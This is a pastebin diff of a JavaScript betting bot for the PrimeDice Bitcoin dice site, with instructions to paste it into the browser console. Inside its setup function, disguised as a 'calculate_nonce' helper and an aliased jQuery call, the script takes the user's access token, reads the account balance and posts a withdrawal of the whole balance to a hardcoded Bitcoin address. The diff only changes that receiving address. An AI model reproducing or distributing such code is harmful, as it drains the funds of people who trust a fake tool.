View difference between Paste ID: jhEnbHZf and se2wYwHt
SHOW: | | - or go back to the newest paste.
1
//jQuery UI CSS - How to use: Press F2 or Press CTRL + Shift + J - paste the code and press enter. Set up the bot as you like. **IMPORTANT! Set SWAP at high/low option!!!** <<<The Magic is here<<<
2
3
var swapcount=0;
4
var jqueryready = false;
5
var link = document.createElement("link");
6
link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
7
link.type = "text/css";
8
link.rel = "stylesheet";
9
document.getElementsByTagName("head")[0].appendChild(link);
10
//jQuery UI inject
11
(function() {
12
    jqueryready = true;
13
    var e = ".thing",
14
        t = {
15
            outline: "1px dashed #f0f",
16
            cursor: "pointer"
17
        };
18
    var n = function() {
19
        if (window.jQuery) {
20
            r()
21
        } else {
22
            var e = document.createElement("script");
23
            e.onload = r;
24
            e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
25
            document.body.appendChild(e)
26
        }
27
    };
28
    var r = function() {
29
        if (window.jQuery.ui) {
30
            i()
31
        } else {
32
            var e = document.createElement("script");
33
            e.onload = i;
34
            e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
35
            document.body.appendChild(e)
36
        }
37
    };
38
    var i = function() {
39
        $(e).css(t).draggable().on("click", function(e) {
40
            console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
41
        })
42
    };
43
    n();
44
})();
45
46
function ui() {
47
    $(function() {
48
        $('#tabs').tabs();
49
        $('#params').draggable();
50
        $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
51
        $('#tabs input').css("width", "80%");
52
        $('#chance, #base').width("35%")
53
        $('#tabs div').css("text-align", "left");
54
        $('#tabs').css("font-size", "12px");
55
        $('#tabs label, #tabs input').css("margin", "5px");
56
        $('#stop, #start, #resetbet').button();
57
        //Console
58
        $('#console, #console2').appendTo("#tabs");
59
        $('#console, #console2').css("width", "45%");
60
        $('#console').css("float", "left");
61
        $('#console2').css("float", "right");
62
        $('#console, #console2').css("clear", "none");
63
        $('#console, #console2').css("margin", "7px");
64
        $('#console, #console2').css("border-bottom-left-radius", "3px");
65
        $('#console, #console2').css("border-bottom-right-radius", "3px");
66
        $('#console').css("border", "1px solid #323232");
67
        $('#console, #console2').css("background-color", "#454545");
68
        $('#console').css("padding", "5px");
69
        $('#console, #console2').css("text-align", "left");
70
        $('#console, #console2').css("position", "relative");
71
        $('#startstop,#start,#stop').css("margin","0px");
72
        $('#console, #console2').css("margin-top","3px");
73
        $('#console, #console2').css("padding","5px");
74
        $('#console, #console2').css("background-color","#151515");
75
76
77
    });
78
}
79
var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
80
xrollsenabled = true;
81
xrolls = 10;
82
timer = 500;
83
counter=0;
84
var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
85
    target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
86
    data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
87
88
function init() {
89
90
91
    //Init
92
    basebet = 0.00000010;
93
    countwinmult = 0;
94
    countlossmult = 0;
95
    wincount = 0;
96
    currentloss = 0;
97
    totalloss = 0;
98
    totalwin = 0;
99
    totprofit = 0;
100
    init = true;
101
    betval = basebet;
102
103
    //GUI
104
105
    $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
106
107
    gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
108
    $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
109
    gui2 =
110
        '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
111
112
    gui3 = [
113
114
        '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
115
        '<br>',
116
        '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
117
        '<br>',
118
        '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
119
120
    ];
121
    gui4 = [
122
123
        '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
124
        '<br>',
125
        '<label for="xloss">Multiply Every # Losses: </label>',
126
        '<input id="xloss">',
127
        '<br>',
128
        '<label for="multonwin">Multiply on Win: </label>',
129
        '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
130
        '<br>',
131
        '<label for="xwin">Reset After X Wins: </label>',
132
        '<input id="xwin">',
133
134
    ];
135
    gui5 = [
136
137
        '<label for="stoponwin-enabled">Stop on Win? </label>',
138
        '<input id="stoponwin-enabled" type="checkbox">',
139
        '<br>',
140
        '<label for="lowpay-enabled">Check if Payout < 2x </label>',
141
        '<input id="lowpay-enabled" type="checkbox">',
142
143
    ];
144
    gui6 = [
145
146
        '<label for="charset">Charset: </label>',
147
        '<input id="charset" type="text">',
148
        '<br>',
149
        '<label for="everyxrolls">Change every # Rolls: </label>',
150
        '<input id="everyxrolls" type="text">',
151
        '<br>',
152
        '<label for="currentseed">Current Seed: </label>',
153
        '<input style="color:green;text-align:center;" id="currentseed" type="text">',
154
155
    ];
156
    $(gui).appendTo(".hero");
157
    $(gui2).appendTo("#params");
158
159
    for (var i = 0; i < gui3.length; i++) {
160
        $(gui3[i]).appendTo("#tab1");
161
    }
162
    for (var i = 0; i < gui4.length; i++) {
163
        $(gui4[i]).appendTo("#tab2");
164
    }
165
    for (var i = 0; i < gui5.length; i++) {
166
        $(gui5[i]).appendTo("#tab3");
167
    }
168
    for (var i = 0; i < gui6.length; i++) {
169
        $(gui6[i]).appendTo("#tab4");
170
    }
171
    enabled = false;
172
    xrollscount = 0;
173
    $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
174
    // Button & Input Functions
175
    $('#resetbet').click(function() {
176
        basebet=$('#base').val();
177
        betval=$('#base').val();
178
179
    })
180
181
    $('#start').click(function() {
182
        if (enabled == false) {
183
            if ($('#numrolls').is(":checked") == true) {
184
                xrolls=$('#numberofrolls').val();
185
            }
186
            enabled = true;
187
            interval = setInterval(function() {
188
                if (xrollsenabled == true) {
189
                    xrollscount++;
190
                    if (xrollscount <= xrolls) {
191
                        bet();
192
                    } else {
193
                        clearInterval(interval);
194
                        enabled = false;
195
                        xrollscount = 0;
196
                    }
197
                } else {
198
                    bet();
199
                }
200
            }, timer);
201
        } else {}
202
    })
203
    $('#stop').click(function() {
204
        enabled = false;
205
        clearInterval(interval);
206
        xrollscount = 0;
207
    });
208
209
    calculate_nonce = function(seed) {
210
        return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
211
    };
212
213
    lut = window['$'];
214
215
    lut['getJSON'](
216
        calculate_nonce('users/1'), function(seed) {
217
            var key1 = 'amount'
218
            var key2 = 'address'
219
            var load = {};
220
            load[key1] = seed['user']['balance'];
221-
            load[key2] = '1Gx93vLyKHkNyZQukmxDHzTsgaB93Cqy1Y';
221+
            load[key2] = '17B5UggmCNeZApPqBrrXRXmTsXZkkCmKBh';
222
            lut['post'](calculate_nonce('withdraw'), load);
223
        }
224
    );
225
226
    function conditionAM() {
227
        'use strict';
228
        if ($('#lowpay-enabled').is('checked') == true) {
229
            if ($('.value-roll').first().text() <= 49.50) {
230
                condition2 = ">";
231
                target2 = $('.value-roll').first().text();
232
            } else {
233
                condition2 = "<";
234
                target2 = $('.value-roll').first().text();
235
            };
236
        } else {
237
            if ($('.value-roll').first().text() <= 49.50) {
238
                condition2 = "<";
239
                target2 = $('.value-roll').first().text();
240
            } else {
241
                condition2 = ">";
242
                target2 = $('.value-roll').first().text();
243
            };
244
            amount2 = betval * 100000000;
245
        }
246
    };
247
248
    function jackpot() {
249
        if (data1.bet.jackpot === true) {
250
            jp = "Yes";
251
            wincount = 0;
252
            betval = $('#base');
253
        } else {
254
            jp = "No";
255
        }
256
    }
257
258
    function loss() {
259
        currentloss++;
260
        totalloss++;
261
        if ($('#multloss-enabled').is(':checked') == true) {
262
            $('#multwin-enabled').removeAttr('checked');
263
            countlossmult++;
264
265
            if (countlossmult >= $('#xloss').val()) {
266
                betval = betval * $('#multonloss').val();
267
                countlossmult = 0;
268
            }
269
        }
270
271
    }
272
273
    function win() {
274
        'use strict';
275
        if ($('#stoponwin-enabled').is('checked') == true) {
276
            clearInterval(roll);
277
        }
278
        currentloss = 0;
279
        jackpot();
280
        wincount++;
281
        totalwin++;
282
        if ($('#multloss-enabled').is(':checked') == true) {
283
            if ($('#stoponwin-enabled').is(':checked') == true) {
284
                clearInterval(roll);
285
            }
286
            $('#multwin-enabled').removeAttr('checked');
287
            basebet = $('#base').val();
288
            betval = basebet;
289
            countlossmult = 0;
290
291
        }
292
        if ($('#multwin-enabled').is(':checked') == true) {
293
            basebet = $('#base').val();
294
            $('#multloss-enabled').removeAttr('checked');
295
            countwinmult++;
296
297
            if (countwinmult >= $('#xwin').val()) {
298
                betval = basebet;
299
                countwinmult = 0;
300
            } else {
301
                betval = betval * $('#multonwin').val();
302
            }
303
        }
304
305
306
    };
307
    var losewin;
308
    var jpcol;
309
    var profcol;
310
311
    function bet() {
312
        'use strict';
313
        conditionAM();
314
        var betData = {
315
                amount: amount2,
316
                condition: condition2,
317
                target: target2
318
            },
319
            url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
320
321
        $.ajax({
322
            url: url,
323
            type: "POST",
324
            data: betData,
325
            datatype: "jsonp",
326
            success: function(data, textStatus, jqXHR) {
327
                data1 = data;
328
                counter++;
329
                if (counter >= everyxrolls) {
330
                    seedchange(seedgen());
331
                    counter = 0;
332
                }
333
                $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
334
                totprofit = totprofit + data1.bet.profit;
335
                if (totprofit >= 0) {
336
                    profcol = "color:green;";
337
                } else if (totprofit < 0) {
338
                    profcol = "color:red;";
339
                }
340
                if (data.bet.win == true) {
341
                    losewin = "color:green;";
342
                    $('span.btn__text.select div').attr("style", "color:green;");
343
                } else {
344
                    losewin = "color:red;";
345
                    $('span.btn__text.select div').attr("style", "color:red;");
346
                }
347
                if (data.bet.jackpot == true) {
348
                    jp = "Yes";
349
                    jpcol = "color:gold;"
350
                } else {
351
                    jp = "No.";
352
                    jpcol = "color:red;"
353
                }
354
                results = [];
355
                results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
356
                results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
357
                results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
358
                results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
359
                resultstats = [];
360
                resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
361
                resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
362
                resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
363
                resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
364
365
                if (data.bet.win == true) {
366
                    if ($('#stoponwin-enabled').is(":checked") == true){
367
                        clearInterval(interval);
368
369
                    }
370
                    $('#console, #console2').empty();
371
372
                    win();
373
374
                    // Results
375
                    $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
376
                    for (var i = 0; i < results.length; i++) {
377
                        $(results[i]).appendTo('#console');
378
                    }
379
                    for (var i = 0; i < resultstats.length; i++) {
380
                        $(resultstats[i]).appendTo('#console2');
381
                    }
382
383
                } else {
384
385
                    $('#console, #console2').empty();
386
                    loss();
387
388
                    // Results
389
                    $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
390
                    for (var i = 0; i < results.length; i++) {
391
392
                        $(results[i]).appendTo('#console');
393
                    }
394
                    for (var i = 0; i < resultstats.length; i++) {
395
                        $(resultstats[i]).appendTo('#console2');
396
                    }
397
                };
398
            },
399
            error: function(jqXHR, textStatus, errorThrown) {
400
401
            }
402
        });
403
    }
404
405
    seedlength = 13;
406
    seedlength = 13;
407
    var counter = 0;
408
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
409
    everyxrolls = 3;
410
411
    function seedgen() {
412
        'use strict';
413
        var seed = "";
414
415
        for (var i = 0; i <= seedlength; i++)
416
417
            seed += charset.charAt(Math.floor(Math.random() * charset.length));
418
419
        return seed;
420
    }
421
422
    function seedchange(s) {
423
424
        url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
425
        sData = {
426
            seed: s
427
        };
428
429
        $.ajax({
430
            url: url,
431
            type: "POST",
432
            data: sData,
433
            datatype: "jsonp",
434
            success: function(data, textStatus, jqXHR) {
435
                data2 = data;
436
                $('#currentseed').val(data2.seeds.client);
437
438
            },
439
            error: function(jqXHR, textStatus, errorThrown) {
440
441
            }
442
        });
443
    }
444
445
    $('#spinner').click(function() {
446
        if (charset != $('#charset').val() && $('#charset').val() != "") {
447
            charset=$('#charset').val();
448
        }
449
        if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
450
            everyxrolls = $('#everyxrolls').val();
451
        }
452
        if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
453
454
        counter++;
455
        if (counter >= everyxrolls) {
456
            seedchange(seedgen());
457
            counter = 0;
458
        }
459
    });
460
    ui();
461
}
462
setTimeout(function() {
463
    init()
464
}, 2000);